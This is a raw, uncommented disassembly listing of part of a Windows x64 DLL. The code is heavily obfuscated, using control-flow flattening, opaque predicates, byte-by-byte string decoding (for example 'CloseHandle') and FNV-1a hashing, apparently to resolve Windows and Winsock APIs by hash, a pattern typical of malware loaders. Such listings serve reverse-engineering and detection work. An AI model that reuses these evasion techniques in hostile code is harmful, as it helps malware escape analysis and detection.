mov rax, qword [rbp - 0x40]
mov rdi, qword [rbp + 0x58]
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x4a
call fcn.18001cef0
add rsp, 0x20
add al, 0x43
mov byte [rdi], al
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x4a
call fcn.18001cef0
add rsp, 0x20
add al, 0x6c
mov byte [rdi + 1], al
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x4a
call fcn.18001cef0
add rsp, 0x20
add al, 0x6f
mov byte [rdi + 2], al
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x4a
call fcn.18001cef0
add rsp, 0x20
add al, 0x73
mov byte [rdi + 3], al
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x4a
call fcn.18001cef0
add rsp, 0x20
add al, 0x65
mov byte [rdi + 4], al
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x4a
call fcn.18001cef0
add rsp, 0x20
add al, 0x48
mov byte [rdi + 5], al
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x4a
call fcn.18001cef0
add rsp, 0x20
add al, 0x61
mov byte [rdi + 6], al
lea rax, [rdi + 7]
mov qword [rbp + 0xc8], rax
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x4a
call fcn.18001cef0
add rsp, 0x20
add al, 0x6e
mov rcx, qword [rbp + 0xc8]
mov byte [rcx], al
mov eax, 0xd153e58c
nop word [rax + rax]
cmp eax, 0xd12ab6ac
jle 0x180004c80
cmp eax, 0xd12ab6ad
je 0x180007787
cmp eax, 0xeda3719a
je 0x180004cf4
cmp eax, 0xd153e58c
jne 0x180004c40
mov eax, dword [0x180129510]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xeda3719a
mov ecx, 0xa42eb4fc
jmp 0x180004ce2
cmp eax, 0x93f003a8
je 0x180004d1c
cmp eax, 0xa42eb4fc
jne 0x180004c40
mov rsi, qword [rbp + 0xc8]
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x4a
call fcn.18001cef0
add rsp, 0x20
add al, 0x64
mov byte [rsi + 1], al
add rsi, 2
mov qword [rbp + 0xc0], rsi
lea rax, [0x18011fa2b]
mov qword [rbp + 0xe8], rax
mov eax, dword [0x180129510]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xeda3719a
mov ecx, 0x93f003a8
cmove eax, ecx
cmp dword [0x180129514], 0xa
cmovl eax, ecx
jmp 0x180004c40
mov rsi, qword [rbp + 0xc8]
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x4a
call fcn.18001cef0
add rsp, 0x20
add al, 0x64
mov byte [rsi + 1], al
mov eax, 0xa42eb4fc
jmp 0x180004c40
mov eax, 0xd12ab6ad
jmp 0x180004c40
mov eax, 0xe8555030
jmp 0x1800036a0
mov eax, 0x92a8f288
jmp 0x1800036a0
mov rax, qword [rbp + 0x30]
add rax, 2
mov qword [rbp + 0x10], rax
movzx eax, word [rbp + 0xaa]
mov rcx, qword [rbp + 0x30]
mov word [rcx], ax
mov eax, 0xa4849ac5
jmp 0x1800036a0
mov rdi, qword [rbp + 0x80]
mov ecx, 0x65c75385
nop word [rax + rax]
cmp ecx, 0x1c2b4888
je 0x180007d49
cmp ecx, 0x65c75385
jne 0x180004d70
sub rsp, 0x20
mov edx, 0x400
lea rcx, [rbp + 0x920]
mov r8, rdi
call fcn.180108600
mov r11d, 0xa2d30736
mov r10d, 0xfcf4cc8a
add rsp, 0x20
mov ecx, 0x1c2b4888
jmp 0x180004d70
mov eax, 0xdb3a684e
jmp 0x1800036a0
lea rax, [rbp + 0x920]
mov qword [rbp + 0x98], rax
mov rax, qword [rbp - 0x60]
mov rcx, qword [rbp + 0x98]
sub rsp, 0x20
call rax
mov r11d, 0xa2d30736
mov r10d, 0xfcf4cc8a
add rsp, 0x20
mov dword [rbp + 0x8c], eax
mov eax, dword [rbp + 0x8c]
cmp eax, 0xffffffff
mov rax, qword [rbp - 0x10]
mov eax, 0x462c5f6f
mov ecx, 0xd7e04b8b
cmove eax, ecx
jmp 0x1800036a0
mov rax, qword [rbp - 0x20]
mov rax, qword [rbp + 0x70]
mov edx, 0x99d14913
nop
cmp edx, 0xdf7a3ced
je 0x180007d5f
cmp edx, 0x99d14913
jne 0x180004e20
mov ecx, 0xf09ed12e
nop dword [rax]
cmp ecx, 0xf09ed12e
je 0x180004e52
cmp ecx, 0x5a3c35b1
jne 0x180004e40
jmp 0x180004e59
mov ecx, 0x5a3c35b1
jmp 0x180004e40
mov dword [rbp + 0xe8], reloc.WS2_32.dll_WSAStartup
movsxd rcx, dword [rbp + 0xe8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add cl, 0x47
mov edx, 0xdf7a3ced
jmp 0x180004e20
mov eax, 0x268162d
jmp 0x1800036a0
mov rax, qword [rbp + 0x78]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov eax, 0xe42bd44c
jmp 0x1800036a0
mov rax, qword [rbp + 0x70]
mov edx, 0x30a47530
mov esi, 0x6fb1c639
jmp 0x180004f20
mov dword [rbp + 0xd0], edx
mov dword [rbp + 0xd8], reloc.WS2_32.dll_WSAStartup
movsxd rdx, dword [rbp + 0xd8]
imul rbx, rdx, 0x4ec4ec4f
mov rdi, rbx
shr rdi, 0x3f
shr rbx, 0x22
add ebx, edi
lea edi, [rbx + rbx*2]
lea ebx, [rbx + rdi*4]
sub edx, ebx
mov ebx, dword [rbp + 0xd0]
sub bl, dl
mov rdx, qword [rbp + 0xc8]
mov byte [rdx], bl
mov rdx, qword [rbp + 0xe8]
add rdx, 1
mov qword [rbp + 0xc0], rdx
mov edx, 0x10164568
nop dword [rax + rax]
cmp edx, 0xf23200b8
jle 0x180004f70
cmp edx, 0x30a4752f
jle 0x180004fc0
cmp edx, 0x30a47530
je 0x180005015
cmp edx, 0x6fb1c639
jne 0x180005062
mov rdx, qword [rbp + 0xe8]
add rdx, rax
mov qword [rbp + 0xc8], rdx
mov edx, 0xa1f9ede5
jmp 0x180004f20
cmp edx, 0xe7b96085
jg 0x180004ff0
cmp edx, 0x85d429f2
je 0x18000501f
cmp edx, 0xa1f9ede5
jne 0x180004f20
mov rdx, qword [rbp + 0xc8]
movsx edx, byte [rdx]
mov ebx, 0x61ce713b
nop dword [rax + rax]
cmp ebx, 0x61ce713b
je 0x180004fb5
cmp ebx, 0x1074a4c9
jne 0x180004fa0
jmp 0x180004ec0
mov ebx, 0x1074a4c9
jmp 0x180004fa0
cmp edx, 0xf23200b9
je 0x18000502b
cmp edx, 0x10164568
jne 0x180004f20
mov edx, 0xf23200b9
mov rcx, qword [rbp + 0xc0]
jmp 0x180004f20
cmp edx, 0xe7b96086
je 0x18000504a
cmp edx, 0xf05950ea
jne 0x180004f20
mov qword [rbp + 0xe0], rax
mov edx, 0xe7b96086
jmp 0x180004f20
mov edx, 0x85d429f2
jmp 0x180004f20
mov edx, 0xf23200b9
xor ecx, ecx
jmp 0x180004f20
mov qword [rbp + 0xe8], rcx
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xd
mov edx, 0xf05950ea
cmovb edx, esi
jmp 0x180004f20
mov rdx, qword [rbp + 0xe0]
mov qword [rbp + 0xb8], rdx
mov edx, 0x7dd0490a
jmp 0x180004f20
cmp edx, 0x7dd0490a
jne 0x180004f20
mov r10, qword [rbp + 0xb8]
mov eax, dword [0x1801294d8]
mov ecx, dword [0x1801294dc]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0xd7]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0xd6]
or cl, al
mov ecx, 0xc8c5b29f
mov eax, 0x8063f108
cmovne ecx, eax
mov dword [rbp + 0xb4], ecx
mov r11d, 0xc8c5b29f
mov eax, 0x7ddfb06
cmovne r11d, eax
mov r14d, 0xec12727d
mov eax, 0x1d57daac
cmovne r14d, eax
mov r12d, 0xec12727d
mov eax, 0x18cb5172
cmovne r12d, eax
mov r9d, 0xe9e21f4b
mov eax, 0x4e6deaae
cmovne r9d, eax
mov esi, 0xe71cb6cf
jmp 0x180005100
mov esi, 0x18cb5172
nop
mov edi, esi
cmp esi, 0xe9e21f4a
jle 0x180005160
cmp edi, 0x2cebdf0a
jle 0x1800051b0
cmp edi, 0x553ba0a3
jle 0x180005266
cmp edi, 0x5f30b901
jg 0x18000536f
cmp edi, 0x553ba0a4
je 0x1800054bd
mov esi, edi
cmp edi, 0x5cf0a5d0
jne 0x180005100
mov ecx, dword [rbp + 0xe0]
cmp ecx, 0x5b
setl byte [rbp + 0xf7]
mov esi, 0xa0e5e177
jmp 0x180005100
cmp edi, 0xb4b5f8a9
jg 0x180005200
cmp edi, 0xacd1a4a1
jle 0x180005296
cmp edi, 0xae2d49db
jg 0x180005410
cmp edi, 0xacd1a4a2
je 0x1800054ce
mov esi, edi
cmp edi, 0xacd9a7e7
jne 0x180005100
mov esi, 0x66a81c96
mov r15d, dword [rbp + 0xe0]
jmp 0x180005100
cmp edi, 0x1e9535f
jle 0x1800052d5
cmp edi, 0x18cb5171
jg 0x180005435
mov esi, r12d
cmp edi, 0x1e95360
je 0x180005100
mov esi, edi
cmp edi, 0x7ddfb06
jne 0x180005100
mov ecx, dword [rbp + 0xe0]
or ecx, 0x20
mov dword [rbp + 0xb8], ecx
mov esi, dword [rbp + 0xb4]
jmp 0x180005100
cmp edi, 0xc62339db
jle 0x180005316
cmp edi, 0xd0fc2277
jg 0x18000545c
cmp edi, 0xc62339dc
je 0x1800054e7
mov esi, edi
cmp edi, 0xc8c5b29f
jne 0x180005100
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov esi, 0x7ddfb06
jmp 0x180005100
cmp edi, 0x4e6deaad
jle 0x18000549b
cmp edi, 0x4e6deaae
je 0x18000550f
mov esi, edi
cmp edi, 0x52a9d8f6
jne 0x180005100
mov esi, 0x2cebdf0b
jmp 0x180005100
cmp edi, 0x8044d379
je 0x180005519
cmp edi, 0x8063f108
je 0x180005533
mov esi, edi
cmp edi, 0xa0e5e177
jne 0x180005100
cmp byte [rbp + 0xf7], 0
mov esi, 0xacd9a7e7
mov ecx, 0xae2d49dc
cmovne esi, ecx
jmp 0x180005100
cmp edi, 0xe9e21f4b
je 0x18000553d
cmp edi, 0xec12727d
je 0x1800050f9
mov esi, edi
cmp edi, 0xffb5b154
jne 0x180005100
mov ecx, dword [rbp + 0xc0]
movzx ecx, byte [r10 + rcx]
mov byte [rbp + 0xdf], cl
mov esi, 0xc62339dc
jmp 0x180005100
cmp edi, 0xb4b5f8aa
je 0x180005547
cmp edi, 0xbd5aa87e
je 0x180005560
mov esi, edi
cmp edi, 0xbf71e338
jne 0x180005100
mov dword [rbp + 0xc8], r8d
mov ecx, dword [rbp + 0xc8]
movsx ecx, byte [r10 + rcx]
mov dword [rbp + 0xd0], ecx
mov ecx, dword [rbp + 0xd0]
cmp ecx, 0x20
mov esi, 0x52a9d8f6
mov ecx, 0x8044d379
cmovge esi, ecx
jmp 0x180005100
cmp edi, 0x5f30b902
je 0x180005571
mov esi, edi
cmp edi, 0x66a81c96
jne 0x180005100
movsxd rax, r15d
mov rcx, qword [rbp + 0xe8]
mov rdx, rcx
movabs rbx, 0x4ad202c4d6352806
and rdx, rbx
movabs rsi, 0x300c2021098a5629
or rdx, rsi
movabs rdi, 0xb52dfd3b29cad7f9
and rcx, rdi
xor rcx, rdx
mov rdx, rcx
movabs rsi, 0x7ade22e5dfbf7e2f
xor rdx, rsi
mov rsi, rax
xor rsi, rbx
movabs r13, 0x8521dd1a204081d0
xor rcx, r13
and rcx, rsi
xor rax, rdi
and rax, rdx
or rax, rcx
movabs rcx, 0x100000001b3
imul rax, rcx
mov edx, dword [rbp + 0xc0]
add edx, 1
mov esi, 0xd0fc2278
jmp 0x180005100
mov esi, r11d
cmp edi, 0xae2d49dc
je 0x180005100
mov esi, edi
cmp edi, 0xae32b02c
jne 0x180005100
mov esi, r9d
jmp 0x180005100
mov esi, r14d
cmp edi, 0x18cb5172
je 0x180005100
mov esi, edi
cmp edi, 0x1d57daac
jne 0x180005100
mov esi, 0x5f30b902
jmp 0x180005100
cmp edi, 0xd0fc2278
je 0x18000557e
mov esi, edi
cmp edi, 0xe71cb6cf
jne 0x180005100
movzx ecx, byte [rbp + 0xd7]
cmp byte [rbp + 0xd6], 0
mov esi, 0xe9e21f4b
mov edi, 0xae32b02c
cmovne esi, edi
test cl, cl
cmovne esi, edi
jmp 0x180005100
cmp edi, 0x2cebdf0b
jne 0x1800055ab
mov esi, 0xd0fc2278
xor edx, edx
movabs rax, 0xcbf29ce484222325
jmp 0x180005100
mov esi, 0x66a81c96
mov r15d, dword [rbp + 0xb8]
jmp 0x180005100
mov ecx, dword [rbp + 0xc8]
add ecx, 1
mov dword [rbp + 0xd8], ecx
mov esi, 0xbd5aa87e
jmp 0x180005100
movsx ecx, byte [rbp + 0xdf]
mov dword [rbp + 0xe0], ecx
mov ecx, dword [rbp + 0xe0]
cmp ecx, 0x41
mov esi, 0xacd9a7e7
mov ecx, 0x5cf0a5d0
cmovge esi, ecx
jmp 0x180005100
mov esi, 0x1e95360
jmp 0x180005100
mov ecx, dword [rbp + 0xd0]
cmp ecx, 0x7f
setl byte [rbp + 0xd5]
mov esi, 0xb4b5f8aa
jmp 0x180005100
mov esi, 0x553ba0a4
jmp 0x180005100
mov esi, 0xae32b02c
jmp 0x180005100
cmp byte [rbp + 0xd5], 0
mov esi, 0x52a9d8f6
mov ecx, 0xacd1a4a2
cmovne esi, ecx
jmp 0x180005100
mov esi, 0xbf71e338
mov r8d, dword [rbp + 0xd8]
jmp 0x180005100
mov esi, 0xbf71e338
xor r8d, r8d
jmp 0x180005100
mov dword [rbp + 0xc0], edx
mov qword [rbp + 0xe8], rax
mov ecx, dword [rbp + 0xc8]
mov esi, dword [rbp + 0xc0]
cmp esi, ecx
mov esi, 0x3fbb12b4
mov ecx, 0xffb5b154
cmovb esi, ecx
jmp 0x180005100
mov esi, edi
cmp edi, 0x3fbb12b4
jne 0x180005100
mov rcx, qword [rbp + 0xe8]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov rcx, qword [rbp + 0x90]
sub rsp, 0x20
lea rdx, [rbp + 0xf8]
call rax
add rsp, 0x20
test eax, eax
mov rax, qword [rbp - 0x20]
mov eax, 0x9ffd43ca
mov ecx, 0xafffd905
cmove eax, ecx
xor ecx, ecx
mov qword [rbp + 0x20], rcx
jmp 0x18000b4b7
mov rax, qword [rbp + 0xa0]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp - 0x50]
mov r9, qword [rbp + 0xa0]
mov eax, dword [0x180129500]
mov ecx, dword [0x180129504]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0xdf]
cmp ecx, 0xa
setl byte [rbp + 0xf7]
mov edx, 0xd371ebdd
jmp 0x180005650
mov edx, 0x6c07be63
nop dword [rax + rax]
cmp edx, 0xf8158d7e
jg 0x1800056a0
cmp edx, 0xdca229ac
jg 0x1800056f0
cmp edx, 0xa2d30736
je 0x1800058ad
cmp edx, 0xd371ebdd
jne 0x180005650
mov al, byte [rbp + 0xdf]
cmp byte [rbp + 0xf7], 0
mov edx, 0x60062889
cmovne edx, r14d
test al, al
cmovne edx, r14d
jmp 0x180005650
cmp edx, 0x60062888
jle 0x1800057e0
cmp edx, 0x60062889
je 0x180005646
cmp edx, 0x6c07be63
jne 0x180005650
mov qword [rbp + 0xb8], r9
mov eax, dword [0x180129500]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edx, 0x60062889
cmove edx, r11d
cmp dword [0x180129504], 0xa
cmovl edx, r11d
jmp 0x180005650
cmp edx, 0xdca229ad
je 0x1800058b7
cmp edx, 0xead46714
jne 0x180005650
mov rax, qword [rbp + 0xb8]
mov byte [rax], 0x48
mov rdx, qword [rbp + 0xb8]
mov eax, dword [0x180129508]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rbp + 0xd0]
mov eax, dword [0x18012950c]
mov edi, 0x159dc55c
cmove edi, r12d
cmp eax, 0xa
setl byte [rbp + 0xd8]
cmovl edi, r12d
mov ebx, 0x6a343fd3
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0xfcf4cc89
jg 0x180005790
cmp ebx, 0xdf01bde6
je 0x1800057c7
cmp ebx, 0xe3ec8601
je 0x1800057ce
cmp ebx, 0xeb7e93fb
jne 0x180005760
jmp 0x1800058d4
cmp ebx, 0xfcf4cc8a
je 0x1800057d5
cmp ebx, 0x159dc55c
je 0x1800057d9
cmp ebx, 0x6a343fd3
jne 0x180005760
movzx eax, byte [rbp + 0xd0]
cmp byte [rbp + 0xd8], 0
mov ebx, 0x159dc55c
cmovne ebx, r10d
test al, al
cmovne ebx, r10d
jmp 0x180005760
mov ebx, 0xe3ec8601
jmp 0x180005760
mov ebx, 0xeb7e93fb
jmp 0x180005760
mov ebx, edi
jmp 0x180005760
mov ebx, 0xfcf4cc8a
jmp 0x180005760
cmp edx, 0x12a7a0c4
jne 0x180006097
mov eax, dword [0x180129508]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rbp + 0xd0]
mov eax, dword [0x18012950c]
mov ecx, 0x159dc55c
cmove ecx, r12d
cmp eax, 0xa
setl byte [rbp + 0xd8]
cmovl ecx, r12d
mov eax, 0x6a343fd3
nop word cs:[rax + rax]
nop
cmp eax, 0xfcf4cc89
jg 0x180005860
cmp eax, 0xdf01bde6
je 0x180005894
cmp eax, 0xe3ec8601
je 0x18000589b
cmp eax, 0xeb7e93fb
jne 0x180005830
jmp 0x180005907
cmp eax, 0xfcf4cc8a
je 0x1800058a2
cmp eax, 0x159dc55c
je 0x1800058a6
cmp eax, 0x6a343fd3
jne 0x180005830
movzx edx, byte [rbp + 0xd0]
cmp byte [rbp + 0xd8], 0
mov eax, 0x159dc55c
cmovne eax, r10d
test dl, dl
cmovne eax, r10d
jmp 0x180005830
mov eax, 0xe3ec8601
jmp 0x180005830
mov eax, 0xeb7e93fb
jmp 0x180005830
mov eax, ecx
jmp 0x180005830
mov eax, 0xfcf4cc8a
jmp 0x180005830
mov edx, 0xead46714
jmp 0x180005650
mov byte [r8], 0
add r8, 1
cmp r8, qword [rbp + 0xc0]
mov edx, 0xdca229ad
cmove edx, r15d
jmp 0x180005650
mov dword [rbp + 0xe0], 0x4d
movsx rax, byte [r9]
mov ecx, 0xa29e9792
nop word [rax + rax]
cmp ecx, 0x8dd9789e
je 0x18000593b
cmp ecx, 0xa29e9792
jne 0x1800058f0
mov ecx, 0x8dd9789e
jmp 0x1800058f0
mov dword [rbp + 0xe0], 0x57
movsx rax, byte [r9]
mov ecx, 0xa29e9792
nop word [rax + rax]
cmp ecx, 0x8dd9789e
je 0x180005a10
cmp ecx, 0xa29e9792
jne 0x180005920
mov ecx, 0x8dd9789e
jmp 0x180005920
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe0]
xor cl, al
mov byte [rdx + 1], cl
mov eax, dword [0x180129508]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rbp + 0xd0]
mov eax, dword [0x18012950c]
mov edi, 0x159dc55c
cmove edi, r12d
cmp eax, 0xa
setl byte [rbp + 0xd8]
cmovl edi, r12d
mov ebx, 0x6a343fd3
nop dword [rax]
cmp ebx, 0xfcf4cc89
jg 0x1800059c0
cmp ebx, 0xdf01bde6
je 0x1800059f7
cmp ebx, 0xe3ec8601
je 0x1800059fe
cmp ebx, 0xeb7e93fb
jne 0x180005990
jmp 0x180005a58
cmp ebx, 0xfcf4cc8a
je 0x180005a05
cmp ebx, 0x159dc55c
je 0x180005a09
cmp ebx, 0x6a343fd3
jne 0x180005990
movzx eax, byte [rbp + 0xd0]
cmp byte [rbp + 0xd8], 0
mov ebx, 0x159dc55c
cmovne ebx, r10d
test al, al
cmovne ebx, r10d
jmp 0x180005990
mov ebx, 0xe3ec8601
jmp 0x180005990
mov ebx, 0xeb7e93fb
jmp 0x180005990
mov ebx, edi
jmp 0x180005990
mov ebx, 0xfcf4cc8a
jmp 0x180005990
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
add al, 8
mov ecx, dword [rbp + 0xe0]
xor cl, al
mov rax, qword [rbp + 0xc8]
mov byte [rax], cl
mov r8, qword [rbp + 0xc8]
add r8, 1
mov rax, qword [rbp + 0xb8]
add rax, 0xb
mov qword [rbp + 0xc0], rax
mov edx, 0xdca229ad
jmp 0x180005650
mov dword [rbp + 0xe0], WSAStartup
movsx rax, byte [r9]
mov ecx, 0xa29e9792
nop dword [rax + rax]
cmp ecx, 0x8dd9789e
je 0x180005a87
cmp ecx, 0xa29e9792
jne 0x180005a70
mov ecx, 0x8dd9789e
jmp 0x180005a70
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
add al, 1
mov ecx, dword [rbp + 0xe0]
xor cl, al
mov byte [rdx + 2], cl
mov eax, dword [0x180129508]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rbp + 0xd0]
mov eax, dword [0x18012950c]
mov edi, 0x159dc55c
cmove edi, r12d
cmp eax, 0xa
setl byte [rbp + 0xd8]
cmovl edi, r12d
mov ebx, 0x6a343fd3
nop word [rax + rax]
cmp ebx, 0xfcf4cc89
jg 0x180005b10
cmp ebx, 0xdf01bde6
je 0x180005b47
cmp ebx, 0xe3ec8601
je 0x180005b4e
cmp ebx, 0xeb7e93fb
jne 0x180005ae0
jmp 0x180005b60
cmp ebx, 0xfcf4cc8a
je 0x180005b55
cmp ebx, 0x159dc55c
je 0x180005b59
cmp ebx, 0x6a343fd3
jne 0x180005ae0
movzx eax, byte [rbp + 0xd0]
cmp byte [rbp + 0xd8], 0
mov ebx, 0x159dc55c
cmovne ebx, r10d
test al, al
cmovne ebx, r10d
jmp 0x180005ae0
mov ebx, 0xe3ec8601
jmp 0x180005ae0
mov ebx, 0xeb7e93fb
jmp 0x180005ae0
mov ebx, edi
jmp 0x180005ae0
mov ebx, 0xfcf4cc8a
jmp 0x180005ae0
mov dword [rbp + 0xe0], 0x76
movsx rax, byte [r9]
mov ecx, 0xa29e9792
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8dd9789e
je 0x180005b97
cmp ecx, 0xa29e9792
jne 0x180005b80
mov ecx, 0x8dd9789e
jmp 0x180005b80
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
add al, 2
mov ecx, dword [rbp + 0xe0]
xor cl, al
mov byte [rdx + 3], cl
mov eax, dword [0x180129508]
lea edi, [rax - 1]
imul edi, eax
test dil, 1
sete byte [rbp + 0xd0]
mov esi, dword [0x18012950c]
mov eax, 0x159dc55c
cmove eax, r12d
cmp esi, 0xa
setl byte [rbp + 0xd8]
cmovl eax, r12d
mov ebx, 0x6a343fd3
nop dword [rax + rax]
cmp ebx, 0xfcf4cc89
jg 0x180005c20
cmp ebx, 0xdf01bde6
je 0x180005c57
cmp ebx, 0xe3ec8601
je 0x180005c5e
cmp ebx, 0xeb7e93fb
jne 0x180005bf0
jmp 0x180005c70
cmp ebx, 0xfcf4cc8a
je 0x180005c65
cmp ebx, 0x159dc55c
je 0x180005c69
cmp ebx, 0x6a343fd3
jne 0x180005bf0
movzx ecx, byte [rbp + 0xd0]
cmp byte [rbp + 0xd8], 0
mov ebx, 0x159dc55c
cmovne ebx, r10d
test cl, cl
cmovne ebx, r10d
jmp 0x180005bf0
mov ebx, 0xe3ec8601
jmp 0x180005bf0
mov ebx, 0xeb7e93fb
jmp 0x180005bf0
mov ebx, eax
jmp 0x180005bf0
mov ebx, 0xfcf4cc8a
jmp 0x180005bf0
mov dword [rbp + 0xe0], 0x65
movsx rcx, byte [r9]
mov ebx, 0xa29e9792
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x8dd9789e
je 0x180005ca7
cmp ebx, 0xa29e9792
jne 0x180005c90
mov ebx, 0x8dd9789e
jmp 0x180005c90
mov qword [rbp + 0xe8], rcx
mov rcx, qword [rbp + 0xe8]
add cl, 3
mov ebx, dword [rbp + 0xe0]
xor bl, cl
test dil, 1
mov byte [rdx + 4], bl
sete byte [rbp + 0xd0]
cmp esi, 0xa
setl byte [rbp + 0xd8]
mov ecx, 0x6a343fd3
nop dword [rax]
cmp ecx, 0xfcf4cc89
jg 0x180005d10
cmp ecx, 0xdf01bde6
je 0x180005d47
cmp ecx, 0xe3ec8601
je 0x180005d4e
cmp ecx, 0xeb7e93fb
jne 0x180005ce0
jmp 0x180005d60
cmp ecx, 0xfcf4cc8a
je 0x180005d55
cmp ecx, 0x159dc55c
je 0x180005d59
cmp ecx, 0x6a343fd3
jne 0x180005ce0
movzx ebx, byte [rbp + 0xd0]
cmp byte [rbp + 0xd8], 0
mov ecx, 0x159dc55c
cmovne ecx, r10d
test bl, bl
cmovne ecx, r10d
jmp 0x180005ce0
mov ecx, 0xe3ec8601
jmp 0x180005ce0
mov ecx, 0xeb7e93fb
jmp 0x180005ce0
mov ecx, eax
jmp 0x180005ce0
mov ecx, 0xfcf4cc8a
jmp 0x180005ce0
mov dword [rbp + 0xe0], 0x46
movsx rcx, byte [r9]
mov ebx, 0xa29e9792
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x8dd9789e
je 0x180005d97
cmp ebx, 0xa29e9792
jne 0x180005d80
mov ebx, 0x8dd9789e
jmp 0x180005d80
mov qword [rbp + 0xe8], rcx
mov rcx, qword [rbp + 0xe8]
add cl, 4
mov ebx, dword [rbp + 0xe0]
xor bl, cl
test dil, 1
mov byte [rdx + 5], bl
sete byte [rbp + 0xd0]
cmp esi, 0xa
setl byte [rbp + 0xd8]
mov ecx, 0x6a343fd3
nop dword [rax]
cmp ecx, 0xfcf4cc89
jg 0x180005e00
cmp ecx, 0xdf01bde6
je 0x180005e37
cmp ecx, 0xe3ec8601
je 0x180005e3e
cmp ecx, 0xeb7e93fb
jne 0x180005dd0
jmp 0x180005e50
cmp ecx, 0xfcf4cc8a
je 0x180005e45
cmp ecx, 0x159dc55c
je 0x180005e49
cmp ecx, 0x6a343fd3
jne 0x180005dd0
movzx ebx, byte [rbp + 0xd0]
cmp byte [rbp + 0xd8], 0
mov ecx, 0x159dc55c
cmovne ecx, r10d
test bl, bl
cmovne ecx, r10d
jmp 0x180005dd0
mov ecx, 0xe3ec8601
jmp 0x180005dd0
mov ecx, 0xeb7e93fb
jmp 0x180005dd0
mov ecx, eax
jmp 0x180005dd0
mov ecx, 0xfcf4cc8a
jmp 0x180005dd0
mov dword [rbp + 0xe0], 0x69
movsx rcx, byte [r9]
mov ebx, 0xa29e9792
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x8dd9789e
je 0x180005e87
cmp ebx, 0xa29e9792
jne 0x180005e70
mov ebx, 0x8dd9789e
jmp 0x180005e70
mov qword [rbp + 0xe8], rcx
mov rcx, qword [rbp + 0xe8]
add cl, 5
mov ebx, dword [rbp + 0xe0]
xor bl, cl
test dil, 1
mov byte [rdx + 6], bl
sete byte [rbp + 0xd0]
cmp esi, 0xa
setl byte [rbp + 0xd8]
mov ecx, 0x6a343fd3
nop dword [rax]
cmp ecx, 0xfcf4cc89
jg 0x180005ef0
cmp ecx, 0xdf01bde6
je 0x180005f27
cmp ecx, 0xe3ec8601
je 0x180005f2e
cmp ecx, 0xeb7e93fb
jne 0x180005ec0
jmp 0x180005f40
cmp ecx, 0xfcf4cc8a
je 0x180005f35
cmp ecx, 0x159dc55c
je 0x180005f39
cmp ecx, 0x6a343fd3
jne 0x180005ec0
movzx ebx, byte [rbp + 0xd0]
cmp byte [rbp + 0xd8], 0
mov ecx, 0x159dc55c
cmovne ecx, r10d
test bl, bl
cmovne ecx, r10d
jmp 0x180005ec0
mov ecx, 0xe3ec8601
jmp 0x180005ec0
mov ecx, 0xeb7e93fb
jmp 0x180005ec0
mov ecx, eax
jmp 0x180005ec0
mov ecx, 0xfcf4cc8a
jmp 0x180005ec0
mov dword [rbp + 0xe0], WSAStartup
movsx rcx, byte [r9]
mov ebx, 0xa29e9792
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x8dd9789e
je 0x180005f77
cmp ebx, 0xa29e9792
jne 0x180005f60
mov ebx, 0x8dd9789e
jmp 0x180005f60
mov qword [rbp + 0xe8], rcx
mov rcx, qword [rbp + 0xe8]
add cl, 6
mov ebx, dword [rbp + 0xe0]
xor bl, cl
test dil, 1
mov byte [rdx + 7], bl
sete byte [rbp + 0xd0]
cmp esi, 0xa
setl byte [rbp + 0xd8]
mov ecx, 0x6a343fd3
nop dword [rax]
cmp ecx, 0xfcf4cc89
jg 0x180005fe0
cmp ecx, 0xdf01bde6
je 0x180006017
cmp ecx, 0xe3ec8601
je 0x18000601e
cmp ecx, 0xeb7e93fb
jne 0x180005fb0
jmp 0x180006030
cmp ecx, 0xfcf4cc8a
je 0x180006025
cmp ecx, 0x159dc55c
je 0x180006029
cmp ecx, 0x6a343fd3
jne 0x180005fb0
movzx ebx, byte [rbp + 0xd0]
cmp byte [rbp + 0xd8], 0
mov ecx, 0x159dc55c
cmovne ecx, r10d
test bl, bl
cmovne ecx, r10d
jmp 0x180005fb0
mov ecx, 0xe3ec8601
jmp 0x180005fb0
mov ecx, 0xeb7e93fb
jmp 0x180005fb0
